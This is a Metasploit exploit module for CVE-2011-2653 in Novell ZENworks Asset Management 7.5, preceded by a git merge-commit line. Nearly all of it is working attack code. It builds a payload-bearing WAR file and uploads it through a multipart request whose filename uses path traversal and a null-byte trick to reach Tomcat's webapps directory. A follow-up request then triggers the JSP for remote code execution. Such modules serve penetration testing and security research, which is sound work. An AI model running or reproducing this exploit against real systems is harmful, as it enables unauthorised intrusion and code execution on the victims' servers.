Merge branch 'zenworks_assetmgmt_uploadservlet' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-zenworks_assetmgmt_uploadservlet
sinn3r
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell ZENworks Asset Management Remote Execution',
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'Description' => %q{
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This module exploits a path traversal flaw in Novell ZENworks Asset Management
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7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file
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outside of the MalibuUploadDirectory and then make a secondary request that allows
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for arbitrary code execution.
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},
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'Author' =>
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[
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'Unknown', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2011-2653' ],
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[ 'OSVDB', '77583' ],
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[ 'BID', '50966' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ],
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[ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]
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],
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'Privileged' => true,
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'Platform' => [ 'java' ],
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'Targets' =>
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[
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[ 'Java Universal',
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{
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'Arch' => ARCH_JAVA,
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'Platform' => 'java'
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},
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 02 2011'))
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register_options(
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[
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Opt::RPORT(8080),
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OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])
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], self.class )
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end
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def exploit
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# Generate the WAR containing the payload
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app_base = rand_text_alphanumeric(4+rand(32-4))
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jsp_name = rand_text_alphanumeric(8+rand(8))
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war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s
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uid = rand_text_alphanumeric(34).to_s
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data = "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"
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data << "prod\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"
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data << "newreport\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"
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data << "n\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
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data << "malibu.StartImportPAC\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"
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data << "malibu.StartImportPAC\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"
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data << "MM/dd/yyyy\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"
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data << "$\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"
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data << "start\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"
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data << ",\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"
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data << ".\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"
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data << "-\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"
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data << "yes\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"
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data << "Content-Type: application/octet-stream\r\n\r\n"
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data << war_data
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data << "\r\n"
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data << "------#{uid}\r\n"
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data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"
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data << "Html/UploadSuccess.html\r\n"
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data << "------#{uid}--\r\n"
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res = send_request_cgi(
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{
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'uri' => "/rtrlet/catch",
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'method' => 'POST',
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'ctype' => "multipart/form-data; boundary=----#{uid}",
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'data' => data,
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})
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print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
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select(nil, nil, nil, 10)
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if (res.code == 500)
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print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
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send_request_raw(
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{
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'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
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'method' => 'GET',
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})
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else
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print_error("WAR upload failed...")
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end
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end
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end
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